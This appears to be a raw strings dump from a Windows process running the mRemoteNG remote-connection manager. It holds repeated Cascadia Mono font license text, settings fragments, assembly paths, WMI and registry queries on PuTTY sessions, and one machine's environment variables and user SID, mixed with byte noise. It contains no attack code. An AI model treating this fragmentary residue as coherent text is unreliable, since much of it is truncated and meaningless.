Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission. 5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software. THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE. https://scripts.sil.org/OFL Cascadia Mono Cascadia Mono Light Light Italic Cascadia Mono Light Italic CascadiaMonoItalic-Light-Italic C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIAMONO.TTF 89#t !"# '()*+, :943 en-us Weight Italic ExtraLight Light SemiLight Regular SemiBold Bold Roman 2021 Microsoft Corporation. All Rights Reserved. Version 2111.001 Cascadia Code is a trademark of the Microsoft group of companies. Saja Typeworks Aaron Bell http://sajatypeworks.com Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the SIL Open Font license (https://scripts.sil.org/OFL), applies to this font. Additional license terms may be found on the GitHub repository for this font (https://github.com/microsoft/cascadia-code/blob/main/LICENSE). Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions: 1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself. 2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user. 3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users. 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission. 5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software. THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE. https://scripts.sil.org/OFL Cascadia Mono Cascadia Mono Bold CascadiaMonoRoman-Bold C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIAMONOITALIC.TTF !"#$ en-us Weight Italic ExtraLight Light SemiLight Regular SemiBold Bold 2021 Microsoft Corporation. All Rights Reserved. Version 2111.001 Cascadia Code is a trademark of the Microsoft group of companies. Saja Typeworks Aaron Bell http://sajatypeworks.com Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the SIL Open Font license (https://scripts.sil.org/OFL), applies to this font. Additional license terms may be found on the GitHub repository for this font (https://github.com/microsoft/cascadia-code/blob/master/LICENSE). Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions: 1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself. 2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user. 3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users. 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission. 5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software. THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE. https://scripts.sil.org/OFL Cascadia Mono Cascadia Mono SemiBold SemiBold Italic Cascadia Mono SemiBold Italic CascadiaMonoItalic-SemiBold-Italic C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIAMONOITALIC.TTF !"#$ en-us Weight Italic ExtraLight Light SemiLight Regular SemiBold Bold 2021 Microsoft Corporation. All Rights Reserved. Version 2111.001 Cascadia Code is a trademark of the Microsoft group of companies. Saja Typeworks Aaron Bell http://sajatypeworks.com Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the SIL Open Font license (https://scripts.sil.org/OFL), applies to this font. Additional license terms may be found on the GitHub repository for this font (https://github.com/microsoft/cascadia-code/blob/master/LICENSE). Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions: 1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself. 2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user. 3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users. 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission. 5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software. THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE. https://scripts.sil.org/OFL Cascadia Mono Cascadia Mono ExtraLight ExtraLight Italic Cascadia Mono ExtraLight Italic CascadiaMonoItalic-ExtraLight-Italic C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIAMONOITALIC.TTF !"#$ en-us Weight Italic ExtraLight Light SemiLight Regular SemiBold Bold 2021 Microsoft Corporation. All Rights Reserved. Version 2111.001 Cascadia Code is a trademark of the Microsoft group of companies. Saja Typeworks Aaron Bell http://sajatypeworks.com Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the SIL Open Font license (https://scripts.sil.org/OFL), applies to this font. Additional license terms may be found on the GitHub repository for this font (https://github.com/microsoft/cascadia-code/blob/master/LICENSE). Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions: 1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself. 2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user. 3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users. 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission. 5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software. THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE. https://scripts.sil.org/OFL Cascadia Mono Bold Italic Cascadia Mono Bold Italic CascadiaMonoItalic-Bold-Italic &'02 !"&'2 &'02 &/02 &(*2 &(2 &(.2 &(,2 %&(2 &()2 &/02 &/02 &/02 &/02 &/02 #&-2 &/02 &/02 "#$46 "#$46> "#46 "#46 %&'( 0123578 )/<= 0578 )*+, )/<= 0578 )/<= 059:; 0578 )/<= )/<= )-.<= )/<= 0578 )/<= )*+,<= 0578 )/<= 059:; )/<= 0123578 )/<= &RQQHFWLRQV $%&'()*+,-./0123456789:;<=>?@AB !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ False False General False https://mremoteng.org/ cs-CZ,de,el,en,en-US,es-AR,es,fr,hu,it,ja-JP,ko-KR,nb-NO,nl,pt,pt-BR,pl,ru,uk,tr-TR,zh-CN,zh-TW tting name="InhDefaultUseCredSsp" serializeAs="String"> False True False False release True True True False False RDP 9/9, 33/8 9/8, 34/8 False 20 AES 3 ! " 3 7 6"6$!%!&!'!(!)!)2*!+!,!,5-!.!/!/20!021!122!3!4!455!526!7!8!9!:!;!?@ ABCDEFGHIJ ObjectListView.resources,2.9.1.1072,en,b1c5bf581481bcd4 \\WINDOWS11\root\cimv2:Win32_Processor.DeviceID="CPU0" Local\u_1ImmersiveFocusTrackingActiveEvent file:///C:/Program Files (x86)/mRemoteNG/log4net.DLL C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll en-US DARCUL~1.VSTdarcula.vstheme VS2015~3.VSTvs2015blue.vstheme VS2015~2.VSTvs2015dark.vstheme VS2015~1.VSTvs2015light.vstheme WMI.ExecQuery(SELECT * FROM Win32_OperatingSystem WHERE Primary=True); WMI.ExecQuery(SELECT * FROM Win32_OperatingSystem WHERE Primary=True); WMI.ExecQuery(SELECT * FROM Win32_Processor WHERE DeviceID='CPU0'); WMI.ExecQuery(SELECT * FROM Win32_Processor WHERE DeviceID='CPU0'); WMI.ExecNotificationQuery(select * from RegistryTreeChangeEvent where Hive = 'HKEY_USERS' AND RootPath = 'S-1-5-21-3914889805-4071901059-918772286-1001\\Software\\SimonTatham\\PuTTY\\Sessions'); WMI.ExecNotificationQuery(select * from RegistryTreeChangeEvent where Hive = 'HKEY_USERS' AND RootPath = 'S-1-5-21-3914889805-4071901059-918772286-1001\\Software\\SimonTatham\\PuTTY\\Sessions'); Auto Hide Auto Hide EXT=.C ITEC blic ncalrpc ?AGJKMPTWX^bcdgjkotw{ enLu DOWS\assembl To enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1. WRN: Assembly binding logging is turned OFF. 5-407190105 \REGISTRY\USER\S-1-5-21-3914889805-4071901059-918772286-1001 \REGISTRY\USER\S-1-5-21-3914889805-4071901059-918772286-1001 \REGISTRY\USER\S-1-5-21-3914889805-4071901059-918772286-1001 file:///C:/Program Files (x86)/mRemoteNG/WeifenLuo.WinFormsUI.Docking.ThemeVS2003.DLL \REGISTRY\USER\S-1-5-21-3914889805-4071901059-918772286-1001 file:///C:/Program Files (x86)/mRemoteNG/WeifenLuo.WinFormsUI.Docking.ThemeVS2013.DLL Note: There is some performance penalty associated with assembly bind failure logging. ISTR Software\Microsoft\Windows\CurrentVersion\Explorer\RemoteSystemProviders\ System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 file:///C:/Program Files (x86)/mRemoteNG/WeifenLuo.WinFormsUI.Docking.ThemeVS2012.DLL file:///C:/Program Files (x86)/mRemoteNG/WeifenLuo.WinFormsUI.Docking.ThemeVS2015.DLL stem.Runtime.Serialization System.Runtime.Serialization System.Runtime.Serialization System.Runtime.Serialization System.Runtime.Serialization System.Runtime.Serialization CLSID\{00BB2763-6A77-11D0-A535-00C04FD7D062} /Program Fil 00Pp` 0@@P 0P0P``````````00 0@p` ppp@P@ P0`p`p`@pp00`0 pppp@P@p` P`P@0@ 00PPP` Pp00``p`0PP @@0p`0 @P` ````0000 ppp`````` `````0000ppppppp ppppp`p` CLSID\{7C857801-7381-11CF-884D-00AA004B2E24} .ThemeVS CLSID\{807C1E6C-1D00-453F-B920-B61BB7CDD997} .EXE .0.0.0, CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA} C:\Program Files (x86)\mRemoteNG\WeifenLuo.WinFormsUI.Docking.ThemeVS2013.dll C:\Program Files (x86)\mRemoteNG\WeifenLuo.WinFormsUI.Docking.ThemeVS2015.dll C:\Program Files (x86)\mRemoteNG\WeifenLuo.WinFormsUI.Docking.ThemeVS2013.dll C:\Program Files (x86)\mRemoteNG\WeifenLuo.WinFormsUI.Docking.ThemeVS2015.dll WeifenLuo.WinFormsUI.Docking.ThemeVS2015.resources,2.16.0.0,en,5cded1a1a0a7b481 WeifenLuo.WinFormsUI.Docking.ThemeVS2013.resources,2.16.0.0,en,5cded1a1a0a7b481 C:\Program Files (x86)\mRemoteNG\WeifenLuo.WinFormsUI.Docking.ThemeVS2015.dll WeifenLuo.WinFormsUI.Docking.ThemeVS2012.resources,2.16.0.0,en,5cded1a1a0a7b481 C:\WINDOWS\SYSTEM32\CoreUIComponents.dll WeifenLuo.WinFormsUI.Docking.ThemeVS2013 _IWbemRefresherMgr Refresher Cache Factory (non)Standard Marshaling for IWbemServices WeifenLuo.WinFormsUI.Docking.ThemeVS2015 WeifenLuo.WinFormsUI.Docking.ThemeVS2013 ormsUI WeifenLuo.WinFormsUI.Docking.ThemeVS2015 UI.Docking.ThemeVS2015 WeifenLuo.WinFormsUI.Docking.ThemeVS2015 Input\Service.AlpcPort\Server TextInputServerBamoDefault1_BAMO GIKLNOP_bcdenpqstvwyz{|} %&(+01389:;<=>JMZ[\^`hjlu b03f5f7 \Registry\Machine\Software\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24} \Registry\Machine\Software\Classes\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA} \Registry\Machine\Software\Classes\CLSID\{EB87E1BD-3233-11D2-AEC9-00C04FB68820} \Registry\Machine\Software\Classes\CLSID\{EB87E1BD-3233-11D2-AEC9-00C04FB68820} \Registry\Machine\Software\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD} \Registry\Machine\Software\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD} Program 0(x86) mRemoteNG WeifenLuo.WinFormsUI.Docking.resources WeifenLuo.WinFormsUI.Docking.resources.EXE C:\Program Files (x86)\mRemoteNG\en\WeifenLuo.WinFormsUI.Docking.resources\WeifenLuo.WinFormsUI.Docking.resources.EXE :/// 00@p` 000P 0@0@``````````00 0@`P `P`0@0 P0`pPp`@pp00`0 pppp@P@pP PPP000 00@@@` PP00````0PP @@0pP0 @P` Ppppppp p````0000 P```````` P````0000ppppppp pppppPpP b03f5f7f11d50a3a System.Drawing PublicKeyToken PublicKeyToken PublicKeyToken System.Drawing b03f5f7f11d50a3a System.Drawing3a *SEGOEUIB.TTF PublicKeyToken Ask me again later System.Windows.Forms 0000000000000000000000000000000000Pp` ` 00@`000P``````````00```` 0Pp` ppp0P0``0`````0`` ` ````0P0`` PPP@ @p 0`P`PP@ 00@@`P`P Pp00```` `0 @``0 `@`000``000@` `pppppp ppppp0000 pp``````` ````` @@@`````````````P`P BouncyCastle.Crypto BouncyCastle.Crypto System.Management System.Management System.Management BouncyCastle.Crypto System.Management NT AUTHORITY\SYSTEM C:\ProgramData APPDATA=C:\Users\job\AppData\ CommonProgramFiles=C:\Program Files (x86 mmon Files CommonProgramFiles(x86)=C:\Progra les (x86)\Common Files CommonProgramW6432=C: gram Files\Common Files COMPUTERNAME=WINDOWS \Windows\System32\Drivers\DriverData EFC_412 62719628=1 EFC_4124_1592913036=1 EFC_4124_22 HOMEDRIVE=C: HOMEPATH=\Users\job LOCALAPP =C:\Users\job\AppData\Local LOGONSERVER=\\WI NUMBER_OF_PROCESSORS=2 OneDrive=C:\Users \OneDrive OS=Windows_NT Path=C:\WINDOWS\syst System32\WindowsPowerShell\v1.0\;C:\WINDOWS\ em32\OpenSSH\;C:\Users\job\AppData\Local\Mic ft\WindowsApps; PATHEXT=.COM;.EXE;.BAT;.CMD; ;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCH TURE=x86 PROCESSOR_ARCHITEW6432=AMD64 PROCES IDENTIFIER=Intel64 Family 6 Model 186 Steppi , GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_R ION=ba02 ProgramData=C:\ProgramData ProgramF =C:\Program Files (x86) ProgramFiles(x86)=C: gram Files (x86) ProgramW6432=C:\Program Fil SModulePath=C:\Program Files\WindowsPowerShe odules;C:\WINDOWS\system32\WindowsPowerShell 0\Modules PUBLIC=C:\Users\Public SESSIONNAME sole SystemDrive=C: SystemRoot=C:\WINDOWS :\Users\job\AppData\Local\Temp TMP=C:\Users\ AppData\Local\Temp USERDOMAIN=Windows11 USER IN_ROAMINGPROFILE=Windows11 USERNAME=job FILE=C:\Users\job windir=C:\WINDOWS \WIN C:\WINDOWS\Registration\R000000000006.clb WbemDefaultPathParser WbemDefaultPathParser C:\WINDOWS\system32 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ `0000000000000000000000000000000000Pp` ` 00@`000P``````````00```` ivers\DriverData OS=Window PATHEXT=.COM;.EXE;.BAT;.C VBS;.VBE;.JS;.JSE;.WSF;.WS PROCESSOR_ARCHITECTURE= ProgramData=C:\ProgramDa UBLIC=C:\Users\Public Syst ive=C: SystemRoot=C:\WINDO System.Web Connections System.Web System.Web System.Web Culture Version neutral eutral neutral Culture b03f5f7 select * from RegistryTreeChangeEvent where Hive = 'HKEY_USERS' AND RootPath = 'S-1-5-21-3914889805-4071901059-918772286-1001\\Software\\SimonTatham\\PuTTY\\Sessions' &,28>DJPV\bhntz &'()+ %&')+ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a jikmln oqprsutvw xzy{}| "#$%&'()*+,-./0123456789:;<=@?>ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]`_^a jikmln oqprsutvw xzy{}| .38$ )/49% !*05:& "+16;' #,27<( !"#$%&'()*+,-./012 :BJRZbjrz :BJRZbhpx :BJRZbhpx :BJRZbhpx :BJRZbhpx &0:DN $.8BLV`jt~ $.8BLV`jt~ .@J\nx 666@ "(.4:@F "(.4:@F .... *0*6 6HR\fpz 2? :::t 6?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a jikmln oqprsutvw xzy{}| "#$%&'()*+,-./0123456789:;<=@?>ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]`_^a jikmln oqprsutvw xzy{}| "#$% /0124 !"#% ./024 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a jikmln oqprsutvw xzy{}| "#$%&'()*+,-./0123456789:;<=@?>ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]`_^a jikmln oqprsutvw xzy{}| (08@HPX`hpx ,2BRX3! -CSY4" .>DTZ5# /?EU[6$ 0@FV\7% 1AGW]8& '9HMd _insx} :INe `joty~ );JOf akpuz ?@ABCDEFGHIJKL -0;<=>?@ABCDEFGHIJKL @HPX`hpx 6>FNV^fnv~ .6>FNV^fnv~ $,4 .... :BJRZbjrz :BJRZbhpx :BJRZbhpx :BJRZbhpx :BJRZbhpx &0:DN $.8BLV`jt~ $.8BLV`jt~ M] i 8DPjv &0:DNXblv &0:DNXblv 4jpv| *4>HR\fpz 2FLR8XF`8flFrx8~ V\bjpjv\| ,28@F@L2RX@`f2l :@F:LRX^ 06DJPV\bhntz 28>DJPV\bhntz 28>DJPV\bhntz $*06DTZ5# /?EU[6$ 0@FV\7% 1AGW]8& '9HMd _insx} :INe `joty~ );JOf akpuz ?@ABCDEFG -06789:;<=>?@ABCDEFG @HPX`hpx 6>FNV^fnv~ .6>FNV^fnv~ $,4 .... :BJRZbjrz :BJRZbhpx :BJRZbhpx :BJRZbhpx :BJRZbhpx &0:DN $.8BLV`jt~ $.8BLV`jt~ M] i 4jpv| *4>HR\fpz 2FLR8XF`8flFrx8~ V\bjpjv\| ,28@F@L2RX@`f2l :@F:LRX^ 06DJPV\bhntz 28>DJPV\bhntz $*06?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a jikmln oqprsutvw xzy{}| :;<=>?@ :;<=>?@ABCDEFGHIJ :;<=>?@ :;<=>?@ :;<=>?@ :;<=>?@ABCDEFGHIJ !"#$%&'()*+,-./0123456789 6>FNV^fnv~ "JRZbjrz &.6>FNV^fnv $,4FNV^fnv~ :;<=>?@ :;<=>?@ABCDEFGHIJ :;<=>?@ :;<=>?@ :;<=>?@ :;<=>?@ABCDEFGHIJ !"#$%&'()*+,-./0123456789 6>FNV^fnv~ "JRZbjrz &.6>FNV^fnv $,4}? strPropertyDescriptionColors strPropertyNameColors& strRDP16777216Colors. strRDP256ColorsH strRDP32768Colors\ strRDP4294967296Colorss strRDP65536Colors strThemeDescriptionConfigPanelBackgroundColor strThemeDescriptionConfigPanelCategoryTextColor strThemeDescriptionConfigPanelGridLineColor strThemeDescriptionConfigPanelHelpBackgroundColor strThemeDescriptionConfigPanelHelpTextColor strThemeDescriptionConfigPanelTextColor strThemeDescriptionConnectionsPanelBackgroundColor strThemeDescriptionConnectionsPanelTextColor strThemeDescriptionConnectionsPanelTreeLineColor strThemeDescriptionMenuBackgroundColor strThemeDescriptionMenuTextColor strThemeDescriptionSearchBoxBackgroundColor strThemeDescriptionSearchBoxTextColor strThemeDescriptionSearchBoxTextPromptColor strThemeDescriptionToolbarBackgroundColor strThemeDescriptionToolbarTextColor strThemeDescriptionWindowBackgroundColor strThemeNameConfigPanelBackgroundColor strThemeNameConfigPanelCategoryTextColor strThemeNameConfigPanelGridLineColor strThemeNameConfigPanelHelpBackgroundColor strThemeNameConfigPanelHelpTextColor strThemeNameConfigPanelTextColor strThemeNameConnectionsPanelBackgroundColor strThemeNameConnectionsPanelTextColor strThemeNameConnectionsPanelTreeLineColor strThemeNameMenuBackgroundColor strThemeNameMenuTextColor strThemeNameSearchBoxBackgroundColor strThemeNameSearchBoxTextColor strThemeNameSearchBoxTextPromptColor strThemeNameToolbarBackgroundColor strThemeNameToolbarTextColor strThemeNameWindowBackgroundColor b.#$.+h.3b WeifenLuo.WinFormsUI.ThemeVS2003.Resources DockPaneCaption_AutoHideNo DockPaneCaption_AutoHideYes DockPaneCaption_CloseDisabled DockPaneCaption_CloseEnabled DockPaneStrip_CloseDisabled DockPaneStrip_CloseEnabled DockPaneStrip_ScrollLeftDisabled DockPaneStrip_ScrollLeftEnabled DockPaneStrip_ScrollRightDisabled DockPaneStrip_ScrollRightEnabled WeifenLuo.WinFormsUI.ThemeVS2003.Strings DockPaneCaption_ToolTipAutoHide DockPaneCaption_ToolTipClose DockPaneStrip_ToolTipClose DockPaneStrip_ToolTipScrollLeft DockPaneStrip_ToolTipScrollRight DockPaneCaption_AutoHideNo DockPaneCaption_AutoHideYes DockPaneCaption_CloseDisabled DockPaneCaption_CloseEnabled DockPaneStrip_CloseDisabled DockPaneStrip_CloseEnabled DockPaneStrip_ScrollLeftDisabled DockPaneStrip_ScrollLeftEnabled DockPaneStrip_ScrollRightDisabled DockPaneStrip_ScrollRightEnabled DockPaneCaption_ToolTipAutoHide DockPaneCaption_ToolTipClose DockPaneStrip_ToolTipClose DockPaneStrip_ToolTipScrollLeft DockPaneStrip_ToolTipScrollRight& ( )! #FF3D5277 WeifenLuo.WinFormsUI.ThemeVS2012.Resources Dockindicator_PaneDiamond_Hotspot DockIndicator_PaneDiamond_HotspotIndex MaskArrowBottom MaskArrowLeft MaskArrowRight MaskArrowTop MaskCoreBottom MaskCoreCenter MaskCoreLeft MaskCoreRight MaskCoreTop MaskDock MaskDockFive MaskTabClose MaskTabList MaskTabOverflow MaskToolWindowAutoHide MaskToolWindowClose MaskToolWindowDock MaskToolWindowOption MaskWindowBottom MaskWindowCenter MaskWindowLeft MaskWindowRight MaskWindowTop vs2012blue_vstheme vs2012dark_vstheme vs2012light_vstheme AutoHideTabBackgroundBegin AutoHideTabBorder AutoHideTabText AutoHideTabMouseOverBackgroundBegin AutoHideTabMouseOverBorder AutoHideTabMouseOverText CommandShelfHighlightGradientBegin CommandBarTextActive CommandBarMenuSubmenuGlyph CommandBarMenuBackgroundGradientEnd CommandBarMenuBackgroundGradientBegin CommandBarMenuBorder CommandBarCheckBox CommandBarSelectedIcon CommandBarMenuIconBackground CommandBarMenuSeparator CommandBarCheckBoxDisabled CommandBarSelectedIconDisabled CommandBarTextInactive CommandBarMenuMouseOverSubmenuGlyph CommandBarCheckBoxMouseOver CommandBarHoverOverSelectedIcon CommandBarMenuItemMouseOver CommandBarMouseOverBackgroundBegin CommandBarBorder CommandBarTextHover CommandBarGradientBegin CommandBarToolBarBorder CommandBarDragHandle CommandBarOptionsBackground CommandBarOptionsGlyph CommandBarToolBarSeparator CommandBarToolBarSeparatorHighlight CommandShelfBackgroundGradientBegin CommandBarSelected CommandBarSelectedBorder CommandBarTextSelected CommandBarHoverOverSelectedIconBorder CommandBarTextHoverOverSelected DropDownGlyph 